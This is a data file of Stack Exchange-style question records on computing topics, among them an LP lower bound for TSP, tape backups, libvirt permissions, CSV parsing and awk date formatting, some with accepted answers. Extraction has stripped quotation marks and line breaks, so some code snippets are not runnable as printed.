{  "id": "_cs.80168"  , "question": "Fiorini, Massar, Pokutta, Tiwary and De Wolf (Exponential Lower Bounds for Polytopes in CombinatorialOptimization, Journal of the ACM 62(2):article 17, 2015; PDF, ArXiv) show any linear program that solves travelling salesman needs super-polynomially many constraints.Suppose $P=NP$ by 'some' method then we can solve the optimal tour explicitly and trivially setup a LP that 'solves' the TSP problem. So $P=NP$ implies that TSP has a poly-size LP formulation. The contrapositive is that TSP has no poly-size LP formulation implies $P\\neq NP$. This paper shows TSP needs super-polynomially many constraints.So why doesn't this show that $P\\neq NP$?"  , "title": "Why does this not prove $P\\neq NP$?"  , "tags": "complexity theory;proof techniques;linear programming;p vs np;traveling salesman"  , "accepted_answer": "What Fiorini et al. show is the following:The TSP polytope $P_n$ over $n$ points is a polytope in $\\binom{n}{2}$ dimensions whose vertices correspond to all Hamiltonian cycles in $K_n$ (the complete graph on $n$ vertices). (That is, it is the convex hull of the indicator vectors of all Hamiltonian cycles.)Suppose that $X_n$ is a polytope whose projection over the first $\\binom{n}{2}$ dimensions is $P_n$, and let $d_n$ be the number of constraints needed to define $X_n$ (i.e., the number of facets of codimension 1). Then $d_n \\geq f(n)$ for some function $f(n) = 2^{\\Omega(\\sqrt{n})}$.In other words, they show that TSP cannot be solved using LPs in one particular way. There could be some other way of using LPs to solve TSP which isn't ruled out by their result.For example, perhaps you could use iterative rounding to solve TSP, at each step solving an LP. This is consistent with the result of Fiorini et al.The method in your argument is likewise not ruled out by Fiorini et al."  } 
{  "id": "_unix.231965"  , "question": "I have to write 17 Tb to tape:ssh some_host 'tar -cz /' | dd bs=20b of=/dev/tapeof course 17 Tb  doesn't fit to one tape so I need automatically change it when no room error occurs.I have robot changer and mtx next works fine. I also need to write label to log when tape changed, so I prefer to write hook script on this event.tar has change tape script feature, but I run tar on another host. Also, coping 17 Tb to local host is not the option. sshfs is not an option, as bad. And please don't offer huge backup solutions.What i need is pipe tool like dd which able to run some script on 'no room' error and proceed after. Specifying block size is also important as tape drive requires some values."  , "title": "change tape on the fly script"  , "tags": "tar;dd;tape"  } 
{  "id": "_softwareengineering.340869"  , "question": "I would like to initialize my variables at the top of my file, to prevent any Undefined variable notices. But what do you guys think is considered  to be best practice (in PHP), in case of a string type variable?Initialize the variable with a value false by default?$variable = false;Or perhaps just an empty string$variable = '';Or even a null value$variable = null;"  , "title": "Default value variable, null vs empty string vs false"  , "tags": "php;coding standards;clean code"  , "accepted_answer": "If you don't have a sensible value to initialize your variable with, then you should not be creating that variable at that point in your code.If you are getting notices that you are using an undefined variable, then that is a clear indication that you have a problem in your program flow.The correct course of action here is to give those variable a sensible value before they are being used. If such a sensible value doesn't exist, then you need to ask yourself why the variable is being used in the first place.Just blindly masking Undefined variable notices is not going to make the real problem go away. The Undefined variable notice is only a side-effect of that real problem."  } 
{  "id": "_webmaster.56292"  , "question": "In Google Webmaster Tools under Search Traffic --> Internal Links, for some pages it's showing too many internal links. Is there any effect on my site due to these internal links. How these internal links works?For Example:Under /musical-instruments-2 it has Top 82 links and Total links 470. I observed that it contains unrelated links (other than musical instruments). Why has it linked unrelated data under musical instruments?"  , "title": "Internal links in Google Webmaster Tools showing unrelated data"  , "tags": "seo;google search console;links"  } 
{  "id": "_unix.177058"  , "question": "how do you replace multiple lines of code in Kate?The following is the original text:<div id=image><br style=clear: left/><br style=clear: left/><br style=clear: left/><!-- Begin logo -->...<!-- End logo --></div>This is the text that I would like to have:<div id=image><!-- Begin logo -->...<!-- End logo --></div>Thank you."  , "title": "How do you search and replace multiple lines in KDE Kate?"  , "tags": "search;replace;kate"  , "accepted_answer": "Through Ctrl+R you switch into the search & replace mode. In the bar on the bottom, you first have to select as Mode either Escape sequences or Regular expressions.For instance, if you choose Escape sequences, click the right mouse button on the search field. A context menu appears with an item called Add, listing some valid escape sequences, among which you will find \\n. The same apples for the replace line edit. The context menu is also available in the Regular expressions mode."  } 
{  "id": "_datascience.1069"  , "question": "I am trying to evaluate and compare several different machine learning models built with different parameters (i.e. downsampling, outlier removal) and different classifiers (i.e. Bayes Net, SVM, Decision Tree).I am performing a type of cross validation where I randomly select 67% of the data for use in the training set and 33% of the data for use in the testing set. I perform this for several iterations, say, 20.Now, from each iteration I am able to generate a confusion matrix and compute a kappa. My question is, what are some ways to aggregate these across the iterations? I am also interested in aggregating accuracy and expected accuracy, among other things.For the kappa, accuracy, and expected accuracy, I have just been taking the average up to this point. One of the problems is that when I recompute kappa with the aggregated average and expected average, it is not the same with the aggregated kappa.For the confusion matrix, I have been first normalizing the confusion matrix from each iteration and then averaging them, in an attempt to avoid an issue of confusion matrices with different numbers of total cases (which is possible with my cross validation scheme).When I recompute the kappa from this aggregated confusion matrix, it is also different from the previous two.Which one is most correct? Is there another way of computing an average kappa that is more correct?Thanks, and if more concrete examples are needed in order to illustrate my question please let me know."  , "title": "Kappa From Combined Confusion Matrices"  , "tags": "machine learning;confusion matrix"  } 
{  "id": "_unix.53367"  , "question": "I'm trying to find the path of a file and move it.When I try realpath, it is not useful. For example : I want to move the file All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.htmlUsing realpath:  realpath 'All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.html/home/x/Downloads/All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.htmlBut I can't do : mv /home/x/Downloads/All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.html /home/I need something like that : mv  /home/x/Downloads/All\\ Hail\\ the\\ Generalist\\ -\\ Vikram\\ Mansharamani\\ -\\ Harvard\\ Business\\ Review.html"  , "title": "Find and use the path of a file?"  , "tags": "shell;rename;filenames;quoting"  } 
{  "id": "_softwareengineering.163266"  , "question": "I'm wondering about the differences between inheritance and composition examined with concrete code relevant arguments.In particular my example was:Inheritance:class Do:    def do(self):        self.doA()        self.doB()    def doA(self):        pass    def doB(self):        passclass MyDo(Do):    def doA(self):        print(A)    def doB(self):        print(B)x=MyDo()vs Composition:class Do:    def __init__(self, a, b):        self.a=a        self.b=b    def do(self):        self.a.do()        self.b.do()x=Do(DoA(), DoB())(Note for composition I'm missing code so it's not actually shorter)Can you name particular advantages of one or the other?I'm think of:composition is useful if you plan to reuse DoA() in another contextinheritance seems easier; no additional references/variables/initializationmethod doA can access internal variable (be it a good or bad thing :) )inheritance groups logic A and B together; even though you could equally introduce a grouped delegate objectinheritance provides a preset class for the users; with composition you'd have to encapsule the initialization in a factory so that the user does have to assemble the logic and the skeleton...Basically I'd like to examine the implications of inheritance vs composition. I heard often composition is preferred, but I'd like to understand that by example.Of course I can always start with one and refactor later to the other."  , "title": "How do inheritance and composition differ?"  , "tags": "object oriented design;inheritance;composition"  , "accepted_answer": "Conceptually speaking, composition models consists of relationships, whereas inheritance models is a.Using the car analogy, a car has wheels is a textbook example for composition, and it makes sense to have a class Wheel, and a class Car with a property wheels of type Wheel[].In theory, an example of inheritance would be a truck is a vehicle: properties common to all vehicles can be implemented in class Vehicle, while those specific to trucks can be implemented in class Truck.The truck example, however, also illustrates the problem of the inheritance approach: what if you have to make your vehicle class polymorphic not only for the vehicles purpose (passengers vs. freight), but also for fuel type? You'd have to create four classes to cover passenger cars and freight vehicles, as well as diesel vs. gasoline powered. Add another orthogonal property, and the number of classes doubles again. Worse yet, you have to decide which of these orthogonal properties comes first in the class hierarchy: is it Vehicle -> DieselVehicle -> DieselFreightVehicle -> Truck, or is it Vehicle -> FreightVehicle -> DieselFreightVehicle -> Truck? Either way, you have to duplicate some functionality, either the freight-specific things, or the diesel-specific things. The solution is to use composition anyway: A vehicle has an engine (which can be diesel- or gasonline-powered), and a cargo type (which can be passengers or freight); you don't need a truck class anymore, because your vehicle class can already model all sorts of vehicles by combining suitable engines and cargo types. Note that the components are still polymorphic, but the container object is not. The trick is to keep polymorphism one-dimensional, that is, each polymorphic hierarchy models one of many orthogonal properties, such as engine type, freight type, etc.This is why people say favor composition over inheritance; of course you are still inheriting, but you have separated your inheritance into independent strains."  } 
{  "id": "_unix.240974"  , "question": "What is the list of programs that were available in the first public version of Linux distribution (not just kernel)? I am specially concerned when this distribution was released and if diff utility was there."  , "title": "Was 'diff' included in the first version of Linux"  , "tags": "linux;diff;history"  , "accepted_answer": "Short answer - it did.A bit of archeology reveals thatThe first linux distributions were published in 1993. SLS 1.02, linked above, was the most popular at the time.GNU bulletin for Jan 1993 includes diff 2.0.diff 2.0 GNU diff compares files showing line-by-line changes in  several flexible formats. It is much faster than the traditional Unix  versions. The diff distribution contains diff, diff3, sdiff, and  cmp.The SLS distribution, which later forked to slackware and debian included diff in it's /usr/bin, as linked above."  } 
{  "id": "_unix.216973"  , "question": "I've been trying since Thursday to get a sabrent card to come up and show what wifi networks are available. I'm in midtown Atlanta...so seems there should be 1 or 2 networks showing.The card's power light is on.I tried running:ifconfig wlan0 upin the terminal which didn't give any errors but dmesg shows:IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not readyHow can I make wlan0 ready? ....or am I going at this all wrong?"  , "title": "Wi-Fi Sabrent PCI-8021N Linux Debian Jessie _x86_64 using ralink firmware/desktop"  , "tags": "networking;wifi"  } 
{  "id": "_softwareengineering.323514"  , "question": "Say you've just started working in a very small team on a {currently relatively small, though hopefully bigger later} project. Note that this is an actual project intended to be used by other developers in the real world, not some academic project that is meant to be scrapped at the end of a semester.However, the code is not yet released to others, so no decision is yet set in stone.The MethodologiesOne of you likes to begin coding and make the pieces fit together as you go before you necessarily have a clear idea of how exactly all the components will interact (bottom-up design). Another one of you likes to do the entire design first and nail down the details of all the components and communication before coding a solution.Assume that you are working on a new system rather than mimicking existing ones, and thus it is not always obvious what the right end-design should look like. So, on your team, different team members sometimes have different ideas of what requirements are even necessary for the final product, let alone how to go about designing it.When the bottom-up developer writes some code, the top-down developer rejects it because of potential future problems envisioned in the design despite the fact that the code may solve the problem at hand, believing that it is more important to get the design correct before attempting to code the solution to the problem.When the top-down developer tries to work out the full design and the envisioned problems before starting to write the code, the bottom-up developer rejects it because the bottom-up developer doesn't think some of the problems will actually arise in practice, and thinks that the design may need to be changed in the future when the requirements and constraints become clearer.The ProblemThe problem that this has resulted in is that bottom-up developer ends up wasting time because the top-down developer frequently decides the solution that the bottom-up developer has written should be scrapped due to a design flaw, resulting in the need to re-write the code.  The top-down developer ends up wasting time because instead of parallelizing the work, the top-down developer now frequently sits down to work out the correct design with the bottom-up developer, serializing the two to the point where it may even be faster for 1 person to do the work than 2.Both of the developers want to keep working together, but it doesn't seem that the combination is actually helping either of them in practice.  The GoalsThe common goals are obviously to maximize coding effectiveness (i.e. minimize time wastage) and to write useful software.The QuestionPut simply, how do you solve this problem and cope with this situation?  The only efficient solution I can think of that doesn't waste time is to let each developer follow his/her own style for the design. But this is harder than it sounds when you code-review and actually need to approve of each others' changes, and when you're trying to design a coherent framework for others to use.  Is there a better way?"  , "title": "How to cope with different development styles (top-down vs. bottom-up) in a team?"  , "tags": "design;development methodologies;methodology"  } 
{  "id": "_unix.313568"  , "question": "I have problem getting my VM running via libvirt. Here is my setup:I put my qcow2 image and domain XML (named win7.xml) under $HOME/vm,with all files and directories using my user, my group, and permission bits 0644.I uncommented user = root, group = root and dynamic_ownership = 1lines in /etc/libvirt/qemu.conf, expecting qemu-system-x86_64 will runas root, therefore having full access to the dirs and files under $HOME/vm.However, invocation of virsh create win7.xml as root was failed:error: Failed to create domain from win7.xmlerror: internal error: early end of file from monitor, possible problem: 2016-10-01T03:36:02.049418Z qemu-system-x86_64: -drive file=/home/naitree/vm/win7/win7.qcow2,format=qcow2,if=none,id=drive-virtio-disk0: Could not open '/home/naitree/vm/win7/win7.qcow2': Permission deniedThe following error was logged in /var/log/libvirt/qemu/win7.log:2016-10-01T03:36:02.049418Z qemu-system-x86_64: -drive file=/home/naitree/vm/win7/win7.qcow2,format=qcow2,if=none,id=drive-virtio-disk0: Could not open '/home/naitree/vm/win7/win7.qcow2': Permission denied2016-10-01 03:36:02.080+0000: shutting downIt looks like qemu failed to access my VM disk file. But why? Didn't qemu-system-x86_64run as root? What should be done to make sure libvirt-qemu able to access the disk imageresiding in $HOME directory?Additional version informations:libvirt, virsh version: 1.3.3.2QEMU version: QEMU emulator version 2.6.1 (qemu-2.6.1-1.fc24)distro: Fedora 24kernel: 4.7.4-200.fc24.x86_64"  , "title": "libvirt qemu cannot access image inside my home directory, even as root?"  , "tags": "kvm;qemu;libvirtd"  } 
{  "id": "_webmaster.91117"  , "question": "I was looking at http://marcjschmidt.de/blog/2013/10/25/php-imagepng-performance-slow.html and towards the end of the document, I learned something from the chart at the end.If I use a very high compression on an image, the processing time (including TTFB) will be higher and the download time will be smaller.The opposite is true if I use low compression.The problem here is if I pick too low of compression, then it will take substantially longer for people to load images on my site. If I pick too high of compression, then I believe the TTFB (time to first byte) value will be high. If that value is too high, then google might see my image loading speed as slow.Currently for the desktop version of my site, I'm using full-sized images at 80% JPEG quality, and for mobile site, I'm using 66% quality.I'm afraid if I raise the quality of the image (aka reduce compression) on either site, then there will be more data to download and some people might be billed high for data usage. My other option is to adjust the image size some more, but then if I go too small, visitors might complain.So whats the best thing to do? adjust JPEG image quality to different values (more optimal values)? or do I shrink the images and pray for no complaints?"  , "title": "Compressing images for desktop and mobile site or adjust size?"  , "tags": "images;mobile;optimization;desktop;image size"  } 
{  "id": "_cs.80117"  , "question": "I have a brief proof about QBF being $\\in$ APTIME, which claims that you can use the additional input of the alternation as values for your QBF formula.And therefore you can accept, if the quantifier less formula $\\psi$ is true, given the additional input.That makes sense, but if you assume $\\psi$ in 3-CNF. I could make that check in SPACE$(\\log n)$ and therefore, I could solve QBF in $\\mathbf{ALOGSPACE}$, which would place QBF in $\\mathbf{P} = \\mathbf{ALOGSPACE}$, that obviously can't be true, but I don't see my mistake.The proof claims runtime: $\\mathcal{O}(n^2)$I know that APTIME = PSPACE and QBF is PSPACE complete therefore QBF is APTIME complete, so what am I missing?"  , "title": "QBF in APTIME - Why APTIME and not ALOGSPACE?"  , "tags": "complexity theory;time complexity;runtime analysis"  } 
{  "id": "_vi.1879"  , "question": "I am using Vim on windows. Any time I edited a file, Vim is created temporary files. When I created a file,    mysql-build-properties.xmlVim is creating files like these:    mysql-build-properties.xml~    mysql-build-properties.xml~~Are these files Vim temporary files? If so, how do to stop it?"  , "title": "Vim Windows creating temporary files"  , "tags": "swap file;backup"  } 
{  "id": "_webmaster.2359"  , "question": "In my phpbb forum, just after I post a reply to a thread, a page is shown and I've to wait around 5 secs to return back to the thread. How do I reduced the time to 0. (I tried setting the Flood Interval to 0 but it dint work."  , "title": "How to reduce delay between forum posts in phpbb"  , "tags": "php;forum"  , "accepted_answer": "If you're using phpBB 3, then you can reduce the refresh time by editing the posting.php file in the root directory of the script.Inside you'll find (around line 1118 for 3.0.7PL1) an if statement similar to the following, depending on your version:// Check the permissions for post approval. Moderators are not affected.if ((!$auth->acl_get('f_noapprove', $data['forum_id']) && !$auth->acl_get('m_approve', $data['forum_id']) && empty($data['force_approved_state'])) || (isset($data['force_approved_state']) && !$data['force_approved_state'])){         meta_refresh(10, $redirect_url);         $message = ($mode == 'edit') ? $user->lang['POST_EDITED_MOD'] : $user->lang['POST_STORED_MOD'];         $message .= (($user->data['user_id'] == ANONYMOUS) ? '' : ' '. $user->lang['POST_APPROVAL_NOTIFY']);}else{         meta_refresh(3, $redirect_url);         $message = ($mode == 'edit') ? 'POST_EDITED' : 'POST_STORED';         $message = $user->lang[$message] . '<br /><br />' . sprintf($user->lang['VIEW_MESSAGE'], '<a href=' . $redirect_url . '>', '</a>');}You'll notice there are two calls to meta_refresh() in there; the first one - waiting 10 seconds based on the first argument - is used when a forum is moderated, and a post needs to be approved first.  It was changed to this length to give users enough time to see the actual message before the page refreshed.The second one - 3 seconds in the current phpBB version - is the one you'll probably want to change.  You can reduce this down to 0 to have users redirected immediately, after which you'll just have the normal 1-2 second lag while the page is served, and the browser renders it.One thing to note - you may need to modify this every time you upgrade phpBB, as this is a core file."  } 
{  "id": "_codereview.2490"  , "question": "I would like to efficiently import real numbers stored in CSV format into an array.  Is there a way to modify my code to make it faster?  Also, is there a way to scan the file and compute the number of rows and columns rather than having to provide these directly?double * getcsv(string fname, int m, int n){    double *a;    a = (double *)malloc(n * m * sizeof(double));    ifstream fs(fname.c_str());       char buf[100];       for(int i=0;i<m;i++){        for(int j=0;j<n;j++){            if (j < (n-1) ){                fs.getline(buf,100,',');}            else{                           fs.getline(buf,100);}            stringstream data(buf);            data>>a[(i*n)+j];         }     }     return(a);}"  , "title": "Fast import of numbers stored in a CSV file"  , "tags": "c++;csv"  , "accepted_answer": "In C++, we usually avoid malloc - in this case, you could use a std::vector< double > in stead. Doing this, you will allow the user of your code to use RAII in stead of manually managing the allocated memory. You cal tell the vector how much to allocate by initializing it with the right size. The compiler will apply return value optimization to avoid copying the vector (by constructing it into the return value) so you shouldn't worry too much about that.You don't preserve the values of m and n. I don't know if this is intentional but if you don't want to burden your client code with lugging it around, consider a struct or a class to carry it, and the values you read, around.You don't check the return values of the methods you call on the fstream - you should.You'd probably be better off reading the values from the fstream directly into the array, rather than reading them into a buffer, copying that buffer into a stringstream and then reading them from the stringstream to convert. You can save the use of the stringstream (and therefore eliminate it altogether).Example program:#include <iostream>#include <iterator>#include <sstream>#include <vector>using namespace std;struct Data{        Data(unsigned int width, unsigned int height)                : width_(width)                , height_(height)                , data_(width * height)        { /* no-op */ }        unsigned int width_;        unsigned int height_;        vector< double > data_;};Data split(istream &is, unsigned int width, unsigned int height){        Data retval(width, height);        double d;        int i(0);        while (is >> d)        {                retval.data_[i++] = d;                is.ignore(1, ',');        }        return retval;}int main(){        const char *test_string =                 2.83, 31.26, 2354.3262, 0.83567\\n                12.3, 35.236, 2854.3262, 0.83557\\n                32.3, 33.26, 2564.3262, 0.83357\\n                27.3, 3.2869, 2594.3262, 0.82357\\n;        const unsigned int width = 4;        const unsigned int height = 4;        stringstream ss(test_string);        Data data(split(ss, width, height));        copy(data.data_.begin(), data.data_.end(), ostream_iterator< double >(cout,  ));}"  } 
{  "id": "_unix.274432"  , "question": "I have the following folder structure:/backup/backup/copy.sh/backup/archive//backup/20160405_logs//backup/20160405_logs/sql.log/backup/20160405_logs/bak.logI want to move the folder 20160405_logs into /backup/archive/. If I run mv /backup/20160405_logs /backup/archive from the CLI (manually type and run) it works perfectly. However, if I run that command from copy.sh I get the following error for each file within 20160405_logs:copy.sh: line x: file_path: No such file or directory where is x is an incorrect line number for mv call in copy.sh.All the files and their parent folder are moved though. So it's not like the move is failing...What am I missing!?Thanks in advance :)"  , "title": "mv misbehaves in shell script"  , "tags": "shell script;command line;mv"  , "accepted_answer": "Jeff Schallers' second comment pointed me in the right direction.My backup script looks like this:tar source_folder dest_file >> /backup/20160405_logs/bak.logmv /backup/20160405_logs /backup/archiveecho Backup complete >> /backup/20160405_logs /backup/archiveThe missing files that are being reported are log files that I am trying to write to after I run the mv command.As mentioned in my comment above, if there were a badge for nitwits, I'd own one! Sorry for wasting everyone's time."  } 
{  "id": "_webapps.20355"  , "question": "My brother and I used to play Star Fox 64 when we were kids, and when we did dog fights, we always loved doing barrel rolls so I decided to search for the quote that they always said the game in tutorial. So I start typing do a and well Google started auto-completing it for me. That's good so before I move to the suggested item Google decides it is going to make me sick.I know Easter eggs are all good and great but now I am afraid for when I need to search Google that something happens unexpectedly. I didn't even type in the full query. I just want to search Google.. you know without all the fireworks and barrel rolls. I love Google Search so is there an option/extension to stop these features?"  , "title": "How do I search for do a barrel roll without Google ... doing a barrel roll?"  , "tags": "google search;easter eggs"  , "accepted_answer": "You can avoid Google doing a barrel roll by encapsulating your query in quotation marks: do a barrel roll will not, ironically enough, do a barrel roll.This should work for all easter egg queries: quotation marks signal to Google that it should search for the literal string instead of interpreting it to mean something else.Compare:tilt vs. tiltaskew vs. askewonce in a blue moon vs. once in a blue moonThis of course doesn't work when Google Instant is turned on, as Google will submit the search query before you can finish encapsulating the query in quotation marks. Unfortunately, this is a limitation/feature of Google Instant: to prevent Google from submitting the query before you're finished typing it, you'd have to disable Google Instant.Beyond this, it's possible to disable certain types of Easter eggs, provided you know the nature of the Easter egg beforehand. You could, for instance, prevent the do a barrel roll Easter egg by adding the following snippet to your browser's custom stylesheet:body {  -webkit-animation-name: none;  -moz-animation-name: none;}But since this would affect every <body> tag on every webpage, it's not ideal either.You could get around this by using Stylish, which allows you to specify site-specific custom stylesheets (userstyles). Creating a userstyle with the following should work:@-moz-document: domain(google.com)@-webkit-document: domain(google.com)@document: domain(google.com)body {  -webkit-animation-name: none;  -moz-animation-name: none;}Of course, while this would allow you to disable this specific Easter egg, Google can and most likely will come up with new ones that do unexpected things in the name of being quirky. Without disabling JavaScript or Google Instant, it'd be nigh impossible to prevent them from happening at least once."  } 
{  "id": "_unix.311597"  , "question": "Is there a way to block connections for incoming requests for GMAIL at port level? Is it that all protocols use same port for incoming and outgoing connections? "  , "title": "How to block a port connection (Ex: GMAIL) for incoming mails and allow only for outgoing mails?"  , "tags": "iptables;email;http;https"  , "accepted_answer": "Block incoming ports 25, 465 and 587. And you will have only outgoing mail from this server. Also you can consider to set the SMTP daemon to listen only to 127.0.0.1 which will make it accept incoming mail only via localhost and send mail to the world"  } 
{  "id": "_unix.195448"  , "question": "From my computer:$ cat /etc/issue && uname -aUbuntu 14.04.1 LTS \\n \\lLinux abc-pc 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/LinuxI am using Qt 5.4 and QtCreator 3.3.0I have read this answer regarding the opengl errors, but I am not sure if that applies to me too.The programs run very finely on my computer, but a peer does ssh from his own computer on my computer and runs the same program and the following errors are shown on his computer.Doing ssh means that he is actually working on my computer so when I am not getting these errors why is he?libGL error: failed to load driver: swrastConnected to  xyzQOpenGLShader: could not create shaderQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShaderProgram::uniformLocation( imageTexture ): shader program is not linkedQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShader: could not create shadershader compilation failed: QOpenGLShaderProgram::uniformLocation( matrix ): shader program is not linkedQOpenGLShaderProgram::uniformLocation( opacity ): shader program is not linkedQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShader: could not create shadershader compilation failed: QOpenGLShaderProgram::uniformLocation( matrix ): shader program is not linkedQOpenGLShaderProgram::uniformLocation( opacity ): shader program is not linkedQOpenGLShaderProgram::uniformLocation( pixelSize ): shader program is not linkedQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShader: could not create shadershader compilation failed: "  , "title": "Error: QOpenGLShader: could not create shader - while running through ssh"  , "tags": "opengl;ubuntu;ssh"  } 
{  "id": "_webapps.85053"  , "question": "I have number of fan pages on my Facebook account.   I am trying to get a Twitter account for each page, but because I already have my own Twitter account it will not let me connect the fan page unless I disconnect the main twitter account from my private Facebook profile.   Is there any other way to fix this?"  , "title": "Twitter accounts with Facebook fan pages"  , "tags": "facebook;twitter;facebook pages;synchronization"  } 
{  "id": "_webmaster.86614"  , "question": "So I finally ran screaming frog SEO spider on a number of my pages, and what I'm left with now are some duplicate titles on some of my mobile pages containing this HTML:<link rel=canonical href=http://example.com/path/to/equivalentpage.htm> On the respective pages for desktop users, I added a link tag showing the mobile equivalent page to show google the relationship.On my desktop pages, my H1 tags on each page are unique. Some pages no longer have an H2 tag since I had to blend it into the H1 tag and screaming frog spider takes note of duplicate H2 tags.My question is for any two pages that contain rel=canonical pointing to the original unique pages, do I have to worry about unique titles (in H1 tag) on them? or do I only have to worry on pages without rel=canonicalI ask because if making the titles unique on the pages (mobile site pages) with rel=canonical are necessary, then users will have a worse experience since the title will take up a huge part of the above-the-fold real estate on my website, especially on the photo pages where the user's prime interest is the photo."  , "title": "Is it mandatory to have unique titles (in H1 tag) on a mobile version of a page even if it contains rel=canonical?"  , "tags": "tags;rel canonical;rel alternate;titles;h1"  } 
{  "id": "_reverseengineering.11162"  , "question": "I have been impressed with the reverse debugging (that is stepping back in time through a program) capabilities in GDB and tools like QIRA, but I am a little confused as to why no such program exists for the OSX platform (GDS does not support reverse debugging on OSX.) Is there a technical reason why a reverse debugger is not possible on OSX? I would imagine that under the same architectures the task of implementing a time oblivious debugger would be almost exactly the same. Why would porting to OSX be a impossible or difficult? I mostly assume there is a technical challenge here because no one has implemented such an obviously useful program. "  , "title": "Are Reverse Debuggers Impossible on OSX?"  , "tags": "debugging;osx"  } 
{  "id": "_unix.136497"  , "question": "I can do git clone like so ... git clone https://github.com/stackforge/puppet-heat.git... with no problems.  But I want to exclude all the git meta stuff that comes with the cloning, so I figured I would use git archive but I get this error:$ git archive --remote=https://github.com/stackforge/puppet-heat.git fatal: Operation not supported by protocol.Anyone know why or what I am doing wrong?"  , "title": "git archive fatal: Operation not supported by protocol"  , "tags": "git;github"  , "accepted_answer": "I would simply run the git clone as you've described and then delete the .git directories that are dispersed throughout the cloned directory.$  find puppet-heat/ -name '.git' -exec rm -fr {} +"  } 
{  "id": "_webmaster.7135"  , "question": "All that is output on the page is the domain name of the advertiser, for example 'www.solar-aid.org'. The rest of the content is stripped, I believe because of a document.write() statement.I'd like to know if this is a common issue or something wrong with our setup. There are three domains causing the issue, which we've blocked from Adsense as a result.solar-aid.orgkiva.orggrameenfoundation.orgGiven the type of organizations I think they may be within the default group of 'public service ads' within the Backup Ads setting. If the issue doesn't completely resolve itself soon (one customer of ours complained today, even though I blocked them 5+ days ago), I'll disable public service ads and select the 'fill space with a solid color' option."  , "title": "Some Adsense domain's ads are causing document.write() statements that remove the html from the page"  , "tags": "javascript;advertising;google adsense"  } 
{  "id": "_unix.28151"  , "question": "I don't have a lot of knowledge on Linux so pleas forgive me if this is a simple question.I manage a server with Oracle RAC 11g running on Redhat 5.2. There are a number of raw drives on the server but I cannot see how they are being mapped.I have had a look at the fstab and even the udev (raw rules configuration, even thought its depreciated). But I cannot see where the various mappings from the partitions presented /dev/sd[xy][123] would map to the various /dev/raw/raw[12345] etc.So is there any way I can work out which partitions are assigned to the mappings and the size of the partitions?"  , "title": "How do I find out a server's drive mappings for raw devices?"  , "tags": "rhel;partition"  } 
{  "id": "_unix.181879"  , "question": "I am using kubuntu 14.04. I have installed cron using sudo apt-get install cron, and then I created this file in IDLE, called openurl.py.#!/usr/bin/env pythonimport webbrowserwebbrowser.open('http://eample.com')I then typed chmod +x openurl.py into the terminal to make the .py file excecutionable. If I type in./openurl.py to the terminal, the script works.then, using the kickoff application launcher I clicked system settings > task scheduler > new task > then I searched for the openurl.py file, and selected when I wanted it to run.If I type crontab -e into the terminal, this is displayed:#openurl21 21 * * *     /home/craig/openurl.py# File generated by KCron the Thursday 29 Jan 2015 21:20.And then I wait, and nothing happens. What am I doing wrong?"  , "title": "How to automaticly open a URL at specific times each day"  , "tags": "cron;kubuntu"  } 
{  "id": "_unix.381862"  , "question": "I downloaded the deb packages; put them, without extracting them, into a USB drive* and, when asked, I told the installer to search them in that drive.Now, on my freshly installed system, the files the installer told me that were missing are in /lib/firmware, but dpkg -s <package> says the packages are not installed. Is it ok?*I did so because the guide says: If the firmware was loaded from a firmware package, debian-installer will also install this package for the installed system and will automatically add the non-free section of the package archive in APT's sources.list. This has the advantage that the firmware should be updated automatically if a new version becomes available. It's not clear whether the package should be uncompressed, I decided to leave it as it was.The firmware packages in question are firmware-brcm80211 and firmware-realtek. The missing firmware files are brcm/bcm43xx-0.fw and rtl_nic/rtl8168d-2.fw."  , "title": "Check if non-free firmware has been installed correctly"  , "tags": "debian;debian installer;firmware"  } 
{  "id": "_unix.181270"  , "question": "Using VMWare and CentOS-7.0-1406-x86_64-DVD installer. I would like to install CentOS on this virtual machine. I did that successfully few weeks ago. but now, Anaconda screen disappeared so fast before I even click anything, and took me to user settings  screen as below:How can I get back to anaconda?"  , "title": "/installation of CentOS 7 - Anaconda Disappeared"  , "tags": "centos;system installation"  } 
{  "id": "_unix.150249"  , "question": "I want to convert following string (20140805234656) into date time stamp (2014-08-05 23:46:56).I am new to gawk and I don't know the exact syntax,how can I put - at every 5,8 and : at every 14,17 and put   at 11 index. Is there any efficient way to achieve  this in awk?EDITPlease note that I have string as variable in awk.I generated it during some processing of records."  , "title": "Convert string into date time stamp in gawk or awk"  , "tags": "awk;gawk"  , "accepted_answer": "One way of doing it using GNU awk is this:echo 20140805234656 | awk 'BEGIN { FIELDWIDTHS = 4 2 2 2 2 2 } { printf %s-%s-%s %s:%s:%s\\n, $1, $2, $3, $4, $5, $6 }'"  } 
{  "id": "_unix.204293"  , "question": "After I type # shutdown -h now from terminal, I can't access to the ssh remote server. (ssh root@10.101.6.240)How should I open back the ssh server?"  , "title": "open ssh server back"  , "tags": "ssh;shutdown"  } 
{  "id": "_unix.117878"  , "question": "Using the less paginator, you can use the -r option to properly display colored input and the -S option to disable line wrap.However, when using less -rS or equivalently less -r -S, colors are diplayed but lines are wrapped. How can this be achieved?"  , "title": "show colors and disable line wrap"  , "tags": "less"  , "accepted_answer": "If the -r option doesn't work, maybe the -R option will do what you want:-R or --RAW-CONTROL-CHARSLike -r, but only ANSI color escape sequences are output in raw form.  Unlike -r, the screen appearance is maintained correctly in most  cases.   ANSI  color  escape                sequences are sequences of the form:ESC [ ... mwhere  the  ... is zero or more color specification characters For the purpose of keeping track of screen appearance, ANSI color escape sequences are assumed to not move                the cursor.  You can make less think that characters other than m can end ANSI color escape sequences by setting the environment variable LESSANSIENDCHARS to the list of                characters which can end a color escape sequence.  And you can make less think that characters other than the standard ones may appear between the ESC and the m by setting                the environment variable LESSANSIMIDCHARS to the list of characters which can appear."  } 
